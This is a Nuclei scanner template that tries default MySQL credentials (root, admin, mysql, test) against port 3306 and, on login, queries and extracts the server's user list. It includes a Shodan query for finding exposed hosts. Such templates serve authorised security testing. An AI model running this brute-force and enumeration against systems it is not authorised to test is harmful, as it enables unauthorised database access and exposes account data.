57 lines
1.3 KiB
YAML
57 lines
1.3 KiB
YAML
id: mysql-user-enum
|
|
|
|
info:
|
|
name: MySQL - User Enumeration
|
|
author: pussycat0x
|
|
severity: high
|
|
description: |
|
|
Attempts to list all users on a MySQL server.
|
|
reference:
|
|
- https://nmap.org/nsedoc/scripts/mysql-users.html
|
|
metadata:
|
|
verified: true
|
|
max-request: 16
|
|
shodan-query: "port:3306"
|
|
tags: js,mysql,network,enum
|
|
|
|
javascript:
|
|
- pre-condition: |
|
|
isPortOpen(Host,Port);
|
|
code: |
|
|
let m = require('nuclei/mysql');
|
|
let c = m.MySQLClient();
|
|
let response = c.ExecuteQuery(Host,Port,User,Pass,Query);
|
|
Export(response);
|
|
|
|
args:
|
|
Host: "{{Host}}"
|
|
Port: "3306"
|
|
Query: "SELECT DISTINCT user FROM mysql.user;"
|
|
User: "{{usernames}}"
|
|
Pass: "{{passwords}}"
|
|
|
|
payloads:
|
|
usernames:
|
|
- root
|
|
- admin
|
|
- mysql
|
|
- test
|
|
passwords:
|
|
- root
|
|
- admin
|
|
- mysql
|
|
- test
|
|
attack: clusterbomb
|
|
|
|
stop-at-first-match: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "success == true"
|
|
|
|
extractors:
|
|
- type: json
|
|
part: response
|
|
json:
|
|
- '.Rows[].user'
|
|
# digest: 4a0a0047304502207ee186539b23e1011c6c06e795e9d29565f03dd10a8c64d5e7eccfd234ab3c1a022100b3912d95b97e95a84d7c541ecab9af2278ba746f234f55032e0788084ad87629:922c64590222798bb761d5b6d8e72950 |